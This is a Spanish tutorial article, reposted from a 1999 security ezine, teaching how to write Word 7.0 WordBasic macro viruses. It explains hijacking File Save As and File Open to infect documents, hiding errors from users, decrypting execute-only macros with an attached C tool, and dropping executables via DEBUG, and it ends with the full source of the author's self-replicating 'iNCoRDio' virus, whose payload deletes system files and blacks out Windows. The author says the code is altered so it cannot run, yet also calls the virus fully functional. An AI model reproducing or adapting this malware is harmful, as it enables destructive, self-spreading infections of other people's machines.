Iniciación a los virus de macro (II)

sábado 24 de julio, 1999
 

Notas preliminares: Este articulo lo publiqué en el número 2 de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999.

Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Word 7.0. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como protegernos del mismo.

1. Sintaxis de WB

     Bueno, para los que no esten familiarizados con este tipo de sintaxis… un tirón de orejas. Que repasen sus conceptos de programación. Pero vamos a hacer un breve resumen para poder entender lo que estamos viendo.

Instrucción condicional

       If … Then … Else

Ejecuta instrucciones de forma condicional.

Por ejemplo:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DefinirI()             // Rutina ejemplo que genere un valor aleatorio para i
 
If i = 1 Then       // Si "i" es igual a 1 muestra el siguiente mensaje
 
MsgBox "El valor de i es 1", 0
 
Elsif i = 2 Then        // En cambio, si "i" es igual a 2 muestra este otro
 
MsgBox "El valor de i es 2" , 0
 
Else          // "Si no" ocurre ninguna de las dos condiciones anteriores (ni 1
 
               // ni 2) este otro mensage
 
MsgBox "El valor de i no es ni 1 ni 2" , 0
 
End If                           

Instruccion repetitiva

              For … Next

Ejemplo:

?View Code JAVASCRIPT
1
2
3
4
5
For i = 1 To 10      // Desde i = 1 hasta 10
 
Beep                   // Pitido
 
Next i                 // Siguiente valor de i ( Es decir i + 1 )

Este código emitiria 10 pitidos (uno por cada valor de i )

                             # Instrucción condicional #

              While … Wend

Ejemplo:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
i = 1
 
While i <> 10        // Mientras i sea distinto de 10
 
Beep
 
i = i+1
 
Wend

Este código emitiria 9 pitidos, que son los valores que va tomando “i” hasta llegar a 10.

Instruccion “ir a”

              Goto etiqueta

        Esta es la típica instruccioón de los antiguos lenguajes de programación, que todavía puede encontrarse en algunos de los actuales, pero que no es muy recomendable, puesto que es muy poco eficiente. Es mas aconsejable usar siempre las estructuras anteriores.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
Sub MAIN
 
MsgBox "La siguiente instruccion goto saltara a la etiqueta :fin,
 
         ignorando el resto" , 0
 
Goto fin
 
MsgBox "Por aqui no pasa" , 0
 
:fin
 
End sub

Una vez repasados estos conceptos, proseguimos con el viriing.

2. Los Comandos de Word: Macros ArchivoGuardar, ArchivoGuardarComo ArchivoAbrir…

        Todos sabemos que cuando pulsamos con el mouse sobre la barra de herramientas, aparece un menu desplegable con varias opciones. Por ejemplo, en Archivo, podemos encontrar el tipico Nuevo, Guardar, Guardar Como…, etc

        Todas estas operaciones son los comandos del Word, y no son en realidad mas que simples Macros de solo ejecución.

Pero, ¿qué pasaría si creasemos en la plantilla Global una Macro con el nombre, por ejemplo, ArchivoGuardarComo?

Pues bien, se crearía automáticamente una macro que llama al cuadro de dialogo que aparece cuando pulsamos sobre esa opción.

Sería así:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
Sub MAIN
 
Dim dlg AsArchivoGuardarCom    // Define dlg como cuadro de dialogo ArchivoGuardarComo
 
GetCurValues dlg               // Coje los valores del cuadro de dialogo
 
Dialog dlg                     // Muestra el cuadro en pantalla
 
ArchivoGuardarComo dlg         // Guarda el archivo segun los parametros obtenidos del cuadro
 
End Sub

Nota: Fijarse que en la primera línea aparece AsArchivoGuardarComo todo junto, cuando debería ser As ArchivoGuardarComo. Si lo dejamos como está, nos dará un error.

Bien, esto lo que haria no sería más que definir dlg como cuadro de dialogo de Guardar Como, coger los valores de ese dialogo y mostrarlo en pantalla; lo que viene haciendo Archivo / Guardar Como. Hasta ahí todo normal, pero, que pasaría si colocamos algunas lineas mas en esa Macro, a nuestro antojo?

Mira este otro código:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Sub MAIN
 
Dim dlg As ArchivoGuardarComo
 
GetCurValues dlg
 
Dialog dlg
 
ArchivoGuardarComo dlg
 
ArchivoGuardarComo .Formato = 1  // Guarda el archivo con el formato de una plantilla                                
 
                       // ( Nota: Esto es solo un ejemplo. Si hiciesemos algo así, cualquier archivo se guardaria con
 
                      // este formato, incluso si fuese de solo texto)
 
Infectar()            // Llama a la rutina infectar
 
ArchivoGuardar                   // Guarda de nuevo lo cambios
 
End Sub
?View Code JAVASCRIPT
1
2
3
4
5
6
 
Sub Infectar
 
MacroCopiar "Global:MacroVirica" , NombreVentana$() + ":MacroVirica" , 1
 
End Sub

 

A partir de ahora (siempre y cuando la Macro se llame ArchivoGuardarComo y este en la plantilla global), cada vez que pulsasemos sobre Archivo / Guardar Como…, a los ojos del usuario todo sería normal, pero el archivo guardado tambien sería infectado.

Lo mismo se puede hacer con ArchivoGuardar, ArchivoAbrir …

Nota: Los comandos de Word los puedes ver en el menu de Macros, pero son solo ejecutables, por lo que solo podrás leer el nombre, no su código.

3. Evitando Errores

        WB es un lenguaje interpretado, y como tal, los errores surgiran “in situ”, a medida que se producen. Pero afortunadamente, los errores pueden ser interceptados.

Con la instrucción:

         On Error Resume Next

Conseguiremos que los errores internos a WB ( no los errores que se produzcan en el propio Word) no muestren en pantalla el mensage de error, y el código seguira ejecutandose en la siguiente instrucción. Esto es muy útil para evitar que el virus sea detectado por el usuario en caso de error.

         On Error Goto etiqueta

Tendría el mismo efecto, con la diferencia de que esta vez no continua la ejecución en la siguiente instrucción, sino que salta a la etiqueta del mismo modo que un Goto (que es lo que realmente es).

Para desactivar la deteccion de errores solo hay que utilizar la siguiente instrucción:

         On Error Goto 0

Todos los errores de Word tienen un numero de identificacion. Si queremos conseguir ese numero, lo haremos con la variable especial Err, cuyo valor es el ultimo error producido.

4. Técnicas avanzadas

        Ahora comentare algunas técnicas avanzadas, solo como guía, y para “activar” tu imaginación

Macros solo-ejecutables

Lo típico que se hace para encriptar una macro es hacerla solo-ejecutable.

Esto no es más que un simple XOR, por lo que podemos desencriptarlas y ver su código. Si leemos el fichero, debemos buscar el verdadero nombre del fichero en el. Unos cuantos bytes despues de el encontraremos una “U”. Pues bien, el byte siguiente a esa “U” es la clave XOR que debemos usar para desencriptarlo

Por supuesto, habra tantas “U” como macros tenga el documento., y una clave XOR para cada una. Depues no hay más que encontrar el comienzo de las macros, que normalmente está en  la direccion B89h o en 1509h. Simpre hay la secuencia A5h, C6h , 41h, un byte y el valor XOR. Los problemas pueden comenzar si el documento tiene macros normales y macros solo-ejecutables.

Prueba a borrar algunas macros, y despues desencriptar.

Adjunto un programa en C que podría ser util.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
/*********
 
  (c) AURODREPH Productions 04/1996
 
**********/
 
#include "io.h"
 
#include "stdlib.h"
 
#include "stdio.h"
 
#include "conio.h"
 
#include "process.h"
 
#include "fcntl.h"
 
#include "string.h"
 
#include "sys\stat.h"
 
void main (void)
 
{
 
char Name[13];
 
char Target[13];
 
unsigned char *Buffer;
 
int Handler, Handler1;
 
unsigned int Offset;
 
unsigned long Length = 0;
 
int point, max, trouve, cledec, debmac, decfin;
 
int stop,nbr,positcle,nbrmac,i;
 
clrscr();
 
printf (" ******************************************************************\n");
 
printf (" *                                                                *\n");
 
printf (" *               DECRYPT WORD 6.0 MACROS saved                    *\n");
 
printf (" *                 with the option Execute-only                   *\n");
 
printf (" *                                                                *\n");
 
printf (" *                                                                *\n");
 
printf (" *       --- ,This file works only with files < 32 Ko. ----       *\n");
 
printf (" *     <*****}===============-                                    *\n");
 
printf (" *      (z)  ' AURODREPH Productions 04/1996                      *\n");
 
printf (" *                                                     ver 0.666B *\n");
 
printf (" ******************************************************************\n");
 
printf ("\n"); printf("\n");
 
printf ("Name of the input file     = ");
 
scanf ("%12s",Name);
 
printf ("\n");
 
printf ("Name of the output file    = ");
 
scanf ("%12s",Target);
 
printf("\n");
 
printf ("Number of crypted macros   = ");
 
scanf ("%d",&nbrmac);
 
printf("\n");
 
if (nbrmac > 50 ) {exit (0);}
 
Handler = open (Name, O_BINARY | O_RDONLY , S_IREAD);
 
if (Handler == -1)
 
{printf ("The input file doesn't exist.\n"); exit(0);}
 
Length = (unsigned long) lseek(Handler, 0, SEEK_END);
 
lseek (Handler,0,SEEK_SET);
 
Buffer = (unsigned char *) malloc((unsigned) Length);
 
if (Buffer == NULL) printf ("Fail memory allocation.\n");
 
if (read(Handler, Buffer, (unsigned) Length) != Length)
 
{printf ("The size of the file is > 32 ko)\n");
 
printf ("Try to remove some macros with WORD....\n");
 
exit (0);}
 
point = 0;
 
max = strlen(Name);
 
trouve = 1;
 
cledec = 0x00;
 
debmac = 0x00;
 
stop = 0;
 
for (i=0; i= 0x61) & (Name[i]<= 0x7A))
 
{ Name[i] = Name[i] & 0xDF ;}
 
};
 
for (Offset = 0x0000; Offset < Length; Offset++)
 
{
 
  if ((Buffer[Offset] == Name[point]) && (stop !=1))
 
{
 
for (point = 1; point <= (max-1); point++)
 
{if (Buffer [Offset+point] == Name[point])
 
{ trouve = trouve+1; }                                                  }
 
else trouve = 1;
 
};
 
}
 
  if (trouve == max) {stop = 1;}
 
  if ((trouve == max) && (Buffer[Offset] == 0x55))
 
{cledec = Buffer[Offset+1];
 
trouve = 0;
 
Buffer [Offset+1] = 0x00;
 
positcle = Offset;
 
}
 
  point = 0;
 
};
 
if (cledec == 0x00)
 
{printf (" Don't find the decrypted key... \n"); exit (0);}
 
else printf ("Decrypted Key for the macro n 1 = %x \n", cledec);
 
for (Offset = 0x0000; Offset < Length; Offset++)
 
{
 
  if (Buffer[Offset] == 0xA5)
 
  {if ((Buffer [Offset+1] == 0xC6) || (Buffer [Offset+1] == 0xC4))
 
  {if (Buffer [Offset+2] == 0x41)
 
  {if (Buffer [Offset+4] == cledec)
 
{debmac = Offset+3;
 
}
 
  }       }       }      };
 
if (debmac == 0x00)
 
{for (Offset = 0x0000; Offset < Length; Offset++)
 
{
 
if (Buffer[Offset] == cledec-1)
 
{if (Buffer [Offset+1] == cledec)
 
       {debmac = Offset;  }
 
}        };             }
 
if (debmac == 0x00) { printf (" Don't find the beginning of the macro\n");      exit(0);}
 
for (nbr = 1 ; nbr <= nbrmac ;nbr++)
 
{
 
if (nbr != 1)
 
{
 
printf ("\n");
 
printf (" I decrypt the macro n %d \n", nbr);
 
Offset = positcle+24;
 
if (Buffer[Offset] ==  0x55)
 
{cledec = Buffer [Offset+1];
 
Buffer [Offset+1] = 0x00;
 
positcle = Offset;
 
   printf ("Decrypted Key for the macro n %d = %x \n", nbr,cledec);
 
}
 
else
 
    {printf (" Don't find the decrypted key ....\n");}
 
}
 
Offset = debmac;
 
point = 0;
 
decfin = 1;
 
stop = 1;
 
printf ( " I work ");
 
do
 
{ if (stop == 400) {printf ("."); stop = 1 ;}
 
  Buffer[Offset+point] ^= cledec ; /* decryptage par XOR */
 
  if (Buffer [Offset+point] == 0x64)
 
{Buffer [Offset+point+1] ^= cledec;
 
if (Buffer [Offset+point+1] == 0x1a)
 
{Buffer [Offset+point+2] ^= cledec;
 
if (Buffer [Offset+point+2] == 0x1b)
 
{Buffer [Offset+point+3] ^= cledec;
 
if (Buffer [Offset+point+3] != 0x64)
 
{decfin = 0;
 
debmac = Offset+point+3;
 
Buffer [Offset+point+3] ^= cledec;
 
}
 
else
 
Buffer [Offset+point+3] ^= cledec;
 
}
 
else
 
Buffer [Offset+point+2] ^= cledec;
 
}
 
else
 
Buffer [Offset+point+1] ^= cledec;
 
}
 
if ((Offset+point) == Length) {decfin = 0;}
 
stop = stop + 1;
 
point = point + 1;
 
}
 
while ( ( decfin != 0) );
 
printf ("\n");
 
printf (" End of decrypting the macro n %d \n", nbr);
 
};
 
_fmode= O_BINARY;
 
Handler1 = creat(Target, S_IFMT | S_IREAD | S_IWRITE);
 
write (Handler1, Buffer,(unsigned) Length);
 
close (Handler1);
 
close (Handler);
 
printf ("\n"); printf ("\n");
 
printf (" END ... \n");
 
printf ("\n");
 
printf (" The decrypted file is  %s .\n", Target);
 
}

 

Polimorfismo

        Es posible hacer virus polimórficos en WordBasic. Una manera sencilla sería hacer que las macros tomaran nombres al azar en cada generación.

Uso de DEBUG

        Ultimamente es muy corriente encontrarse especimenes que utilizan el debug del DOS para volcar pequeños ejecutables, plantillas, … en el disco duro para luego ser ejecutadas. Os muestro aqui una pequeña rutina para ilustrarlo:

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Open "C:\programita.scr" For Output As #1
 
Print #1, "N BOOM.COM"
 
Print #1, "E 0100 E9 AF 13 9F 4D D1 0F D9 0A D7 0A B2 25 EB 67 C2"
 
Print #1, "E 0110 26 F6 20 F7 33 E6 67 BA 24 BB 67 A3 7E EB 7E 9F"
 
Print #1, "E 0120 4D 98 15 FD 32 E6 2E FC 22 B2 30 FB 2B FE 67 E0"
 
Print #1, "E 0130 22 E6 32 E0 29 B2 34 EB 34 E6 22 12 67 FB 29 F4"
 
Print #1, "E 0140 28 E0 2A F3 33 FB 34 FC 67 F4 28 E0 67 E1 33 F3"
 
Print #1, "E 0150 29 F6 26 B0 23 9F 4D B2 67 B2 67 B2 67 B2 67 DB"
 
Print #1, "E 0160 05 DF 67 C2 04 E1 67 F3 29 F6 67 F1 2B FD 29 F7"
 
Print #1, "E 0170 34 B2 35 E7 29 FC 2E DC 20 B2 0A C1 68 C2 04 B2"
 
// ...
 
print #1, "RCX"
 
print #1, "400"
 
Print #1, "W"
 
Print #1, "Q"
 
Close #1
 
Open "c:\boom.bat" For Output As #1
 
Print #1,  "@echo off"
 
Print #1, "debug < programita.src > nul"
 
Print #1, "boom.com"
 
Close #1

 

Nota: Los valores Hexadecimales del ejemplo son inventados, asi que no intentes nada con ellos.

5. Miscelánea

        Para terminar este pequeño curso, aquí podeis ver el WM6.iNCorDio V 1.0 , un virus sencillo y  totalmente funcional creado por un servidor.

Por favor, no lo distribuyas. Simplemente lo incluyo como apoyo al documento para comprender mejor el concepto de virus de Macro.

 

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
//                             WM6.iNCoRDio V1.0                  
//
 
//
 
//     April 25 1999
 
// # Size: 5,35 Kbytes
 
//
 
// # Stealth: Semi. It emulates Macros Dialog and deactivates Templates Menu.
 
// # Encrypted: Yes. Only-executable Macros.
 
// # Polymorphic: No
 
// # Infects: Spanish versions of Word 7.0.
 
// # ReMovable: Yes. U must remove normal.dot.
 
// # MultiLanguaje: No. It only infects Spanish versions of Word.
 
// # Payload: On 15 August kills io.sys and Msdos.sys, and changes win.ini [colors] definitions to
 
//  "00 00 00" getting dark Windows.
 
//
 
// Simple, quick and effective, but too many easy.
 
//
 
// This virus consists in six Macros:
 
//
 
// # AutoOpen: Infects the global template, copying itself and the rest of Macros.
 
// # iNFeCT: Is copied as ArchivoGuardarComo. This Macro infects other docs when FileSaveAs.
 
// # iNFeCT2: Is copied as ArchivoAbrir. When a doc is opened then infects it.
 
// # iNCoRDio: It contains infect subrutine. It can distinguish if is an .doc, .dot or .rtf
 
//             file. In other case does't infect.   
 
// # ChapaAuto: Is copied as AutoExec. When starts Word, automacros are deactivated
 
//             so Word can't be infected by other WM virus using automacros.
 
// # ChapaMacros: Is copied as HerramMacro. EMulates the Macros ... dialog box, but it doesn't
 
//                shows any Macro nor record or reMoves anything
 
// # ChapaPlan: Is copied as ArchivoPlantillas. Is an eMpty Macro, and deactivates thus
 
//              the teMplates Menu of "Files".
 
// These two last Macros are the semi-stealmh Mechanism. I say "semi", because if u aren't
 
// stupid u can see that something is incorrect, but ... fortunately the greater part of
 
// people thinks - "My templates menu don't start. Bah! is a Microsoft application ..."
 
//
 
// The replication method of this virus is simple: I send u  the English exam infected doc
 
// because u can't write it for tomorrow. Your Word is infected. U have the telephone numbers
 
// list of the best supertit... err, girls of your university, and send it to Menganito...
 
// Menganito's Word is infected.
 
//
 
// Anything else. I hope u liked this modest specimen.
 
//
 
//
 
//                     DO NOT DISTRIBUTE. THIS IS AN EXPERIMENTAL VIRUS
 
//----------------
 
// AutoOpen MACRO
 
//----------------
 
Sub MAIN
 
On Error Resume Next   
 
// Copies all Macros to global template (normally normal.dot)
 
MacroCopiar NombreVentana$() + ":AutoOpen", "Global:iNFeCT3", 3
 
MacroCopiar NombreVentana$() + ":iNFeCT", "Global:ArchivoGuardarCoMo", 3
 
MacroCopiar NombreVentana$() + ":iNFeCT2", "Global:ArchivoAbrir", 3
 
MacroCopiar NombreVentana$() + ":iNCoRDio", "Global:iNCoRDio", 3
 
MacroCopiar NombreVentana$() + ":ChapaMacros", "Global:HerramMacro", 3
 
MacroCopiar NombreVentana$() + ":ChapaPlan", "Global:ArchivoPlantillas", 3
 
MacroCopiar NombreVentana$() + ":ChapaAuto", "Global:AutoExec", 3
 
HerramOpcionesGuardar .SimboloGlobalDot = 0
 
// Deactivates autoMacros to protect itself
 
DesactivarMacrosAuto
 
End Sub
 
//--------------
 
// iNFeCT MACRO
 
//--------------
 
Sub MAIN
 
On Error Resume Next
 
DiM Infector As ArchivoGuardarComo     
 
GetCurValues Infector                  // Shows FileSaveAs dialog box
 
Dialog Infector                        
 
ArchivoGuardarComo Infector          
 
Call iNCoRDio                           // Calls infect subrutines.
 
End Sub
 
//---------------
 
// iNFeCT2 MACRO
 
//---------------
 
Sub MAIN
 
On Error Resume Next
 
DiM Infector As ArchivoAbrir          
 
GetCurValues Infector                  // Shows FileOpen dialog box
 
Dialog Infector                       
 
ArchivoAbrir Infector                 // Open file
 
Call iNCoRDio                          // Calls infect subrutines
 
End Sub
 
//-----------------
 
// ChapaAuto MACRO
 
//-----------------
 
Sub MAIN
 
On Error Resume Next
 
If Mes(Ahora()) = 8 Then                                   // On August 15 ...
 
        If Dia(Ahora()) = 15 Then                         
 
MsgBox "^-^ iNCorDio v1.0 ^-^", "ViRuZ iNFeCTioN", 0    // Shows this Message
 
SetProfileString "colors", "scrollbar", "0 0 0"        
 
SetProfileString "colors", "Background", "0 0 0"     
 
SetProfileString "colors", "ActiveTitle", "0 0 0"      
 
SetProfileString "colors", "InactiveTitle", "0 0 0"    
 
SetProfileString "colors", " Menu ", " 0 0 0 "         
 
SetProfileString "colors", "Window", "0 0 0"          
 
SetProfileString "colors", "WindowFraMe", "0 0 0"      
 
SetProfileString "colors", "MenuText", "0 0 0"         
 
SetProfileString "colors", "TitleText", "0 0 0"         // Turns dark Windows
 
SetProfileString "colors", "ActiveBorder", "0 0 0"      //   changing win.ini
 
SetProfileString "colors", "InactiveBorder", "0 0 0"    //   values
 
SetProfileString "colors", "AppWorkspace", "0 0 0"     
 
SetProfileString "colors", "Hilight", "0 0 0"          
 
SetProfileString "colors", "HilightText", "0 0 0"      
 
SetProfileString "colors", "ButtonFace", "0 0 0"       
 
SetProfileString "colors", "ButtonShadow", "0 0 0"     
 
SetProfileString "colors", "GrayText", "0 0 0"         
 
SetProfileString "colors", "ButtonText", "0 0 0"       
 
SetProfileString "colors", "InactiveTitleText", "0 0 0"
 
SetProfileString "colors", "ButtonHilight", "0 0 0"    
 
SetProfileString "colors", "ButtonDkShadow", "0 0 0"  
 
SetProfileString "colors", "ButtonLight", "0 0 0"      
 
SetProfileString "colors", "InfoText", "0 0 0"     
 
SetProfileString "colors", "InfoWindow", "0 0 0"  
 
SetProfileString "colors", "ButtonAlternateFace", "0 0 0"
 
SetProfileString "colors", "HotTrackingColor", "0 0 0"   
 
SetProfileString "colors", "GradientActiveTitle", "0 0 0"  
 
SetProfileString "colors", "GradientInactiveTitle", "0 0 0"
 
FijarAtributos "c:\io.sys", 0                     // Removes io.sys attributes
 
FijarAtributos "c:\msdos.sys", 0              // Removes Msdos.sys attributes
 
Kill "c:\io.sys"                                  // Kills io.sys
 
Kill "c:\msdos.sys"                              // Kills Msdos.sys
 
End If
 
End If
 
For i = 1 To 7
 
If Hora(Ahora()) = i Then                // Between 1:00 AM and 7:00 AM
 
MsgBox "Buenas noches.", "A soñar con los angelitos",// Displays this Message
 
SalirWindows                                            // and Windows closes
 
End If
 
Next i
 
DesactivarMacrosAuto
 
End Sub
 
//------------------
 
// ChapaMacros MACRO
 
//------------------
 
Sub MAIN
 
On Error Resume Next
 
DiM MacrosEn$(3)
 
MacrosEn$(0) = "Todas las plantillas activas"
 
MacrosEn$(1) = "Normal.dot (plantilla global)"
 
MacrosEn$(2) = "Comandos de Word"
 
MacrosEn$(3) = "Present.dot (plantilla global)"
 
DiM Macros$(0)
 
Begin Dialog DialogoUsuario 422, 296, "Macro", .FuncionDlg    
 
Text 6, 4, 157, 13, "&Nombre de la Macro:", .NoMbre      
 
Text 6, 193, 180, 13, "M&acros disponibles en:", .Dispon  
 
DropListBox 6, 208, 408, 50, MacrosEn$(), .MacrosEn         
 
Text 6, 235, 100, 13, "&Descripcion:", .Descri            
 
TextBox 6, 251, 408, 35, .Descripcion                     
 
PushButton 282, 8, 130, 21, "&Grabar ...", .Grabar        
 
CancelButton 282, 32, 130, 21                 // Fake Macros... dialog box
 
PushButton 282, 62, 130, 21, "Ejecutar", .Ejecutar        
 
PushButton 282, 85, 130, 21, "Crear", .Crear              
 
PushButton 282, 108, 130, 21, "Eliminar", .Eliminar          
 
PushButton 282, 139, 130, 21, "&Organizador ...", .Organizador 
 
PushButton 282, 163, 130, 21, "A&yuda", .Ayuda                 
 
CoMboBox 6, 18, 265, 166, Macros$(), .Macros              
 
End Dialog
 
Dim dlg As DialogoUsuario
 
selec = Dialog(dlg)         
 
If selec = 1 Or selec = 3 Then               // If "record" or "create" buttons are pushed
 
MsgBox "No puede grabar Macro aqui", 16          // (X) I can't record a Macro here.
 
End If
 
If selec = 2 Or selec = 4 Then                   // If "Remove" or "Execute" buttons are pushed
 
MsgBox "Seleccione una Macro", 48                // (I) Select a Macro.
 
End If
 
If selec = 6 Then                                 // If "help" button is pushed ...
 
AyudaContenido                                   // shows help :-)
 
End If
 
End Sub
 
Function FuncionDlg(identificador$, accion, valorSup)
 
        If accion = 1 Then
 
FocoDlg$ Macros
 
End If
 
End Function
 
//-----------------
 
// ChapaPlan MACRO
 
//-----------------
 
Sub MAIN
 
On Error Resume Next    // Anything else. This Macro is executed when Templates Menu is called.
 
End Sub
 
//----------------
 
// iNCoRDio MACRO
 
//----------------
 
Sub MAIN
 
 
 
//# Virus NaMe : iNCorDio v1.1
 
//# Creation order positon: 1st
 
//# Infects: .doc , .dot and .rtf when opened
 
//# Stealth: SeMi
 
//# Encrypted: Yes
 
On Error Resume Next
 
sinExt$ = InfoNombreArchivo$(NombreArchivo$(), 4)        // Gets the without-extension file name
 
conExt$ = InfoNombreArchivo$(NombreArchivo$(), 3)        // Gets the file name and extension
 
If conExt$ <> sinExt$ + ".DOC" Then                      // If not .doc file
 
If conExt$ <> sinExt$ + ".RTF" Then              // If not .rtf file
 
If conExt$ <> sinExt$ + ".DOT" Then      // If not .dot file
 
Goto EndFin                      // Ends Macro: Doesn't infect anything
 
End If
 
End If
 
End If
 
ArchivoGuardarComo .Formato = 1              // Saves the file with template format
 
Infectar()                                             // Calls infect subrutine: Infects file
 
ArchivoGuardar                                     // Saves file (now infected)
 
End Sub
 
Sub Infectar
 
// Copies all Macros to saved file
 
MacroCopiar "Global:iNFeCT3", NombreVentana$() + ":AutoOpen", 3           
 
MacroCopiar "Global:ArchivoGuardarComo", NombreVentana$() + ":iNFeCT", 3
 
MacroCopiar "Global:ArchivoAbrir", NombreVentana$() + ":iNFeCT2", 3
 
MacroCopiar "Global:iNCoRDio", NombreVentana$() + ":iNCoRDio", 3
 
MacroCopiar "Global:HerramMacro", NombreVentana$() + ":ChapaMacros", 3
 
MacroCopiar "Global:ArchivoPlantillas", NombreVentana$() + ":ChapaPlan", 3
 
MacroCopiar "Global:AutoExec", NombreVentana$() + ":ChapaAuto", 3
 
End Sub

Deja un comentario